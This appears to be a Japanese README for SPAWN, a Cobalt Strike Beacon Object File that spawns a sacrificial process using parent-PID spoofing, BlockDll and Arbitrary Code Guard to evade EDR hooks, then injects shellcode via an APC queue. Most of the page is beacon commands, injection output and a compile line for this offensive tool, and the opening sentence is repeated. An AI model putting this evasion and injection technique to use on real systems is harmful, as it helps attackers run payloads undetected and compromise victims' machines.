
犠牲プロセスを生成し、シェルコードを注入してペイロードを実行するCobalt Strike BOFです。EDR/UserLandフックを回避するために、Arbitrary Code Guard (ACG)、BlockDll、PPIDスプーフィングを使用して犠牲プロセスを生成するように構築されています。
犠牲プロセスを生成し、シェルコードを注入してペイロードを実行するCobalt Strike BOFです。Arbitrary Code Guard(ACG)、BlockDll、PPIDスプーフィングを使用して犠牲プロセスを生成することで、EDR/ユーザーランドフックを回避するように構築されています。

beacon> spawn notepad.exe 6248 /Users/bobby.cooke/git/boku7/SPAWN/popCalc.bin
[*] SPAWN (Bobby Cooke//SpiderLabs|@0xBoku|github.com/boku7)
[+] Opened handle 0x534 to process 6248(PID)
[+] Spawned process: notepad.exe | PID: 8404 | PPID: 6248
[+] Allocated RE memory in remote process 8404 (PID) at: 0x00000177A72C0000
[+] Wrote 280 bytes to memory in remote process 8404 (PID) at 0x00000177A72C0000
[+] APC queued for main thread of 8404 (PID) to shellcode address 0x00000177A72C0000
beacon> help
spawn Spawn a process with a spoofed PPID and blockDll
beacon> help spawn
Synopsis: spawn /path/to/exe PPID
beacon> ps
8264 5536 OneDrive.exe x86 1 DESKTOP-KOSR2NO\boku
beacon> spawn cmd.exe 8264
[*] SPAWN (@0xBoku|github.com/boku7)
Opened handle 0x634 to process 8264(PID)
Success! Spawned process: cmd.exe | PID: 5384 | PPID: 8264
x86_64-w64-mingw32-gcc -c spawn.x64.c -o spawn.x64.o
beacon> spawn /path/to/exe PPID /local/path/to/shellcode.bin

cmd.exe プロセスがPPIDとして OneDrive.exe で生成されているのがわかります。blockdll 機能を実装し、非MS署名DLLが生成されたプロセスのメモリにロードされるのを防ぐ
Signatures restricted (Microsoft only) で作成されていることがわかります。Signatures restricted (Microsoft only) により、Microsoftが署名していないDLLが生成されたプロセスにロードできなくなります。
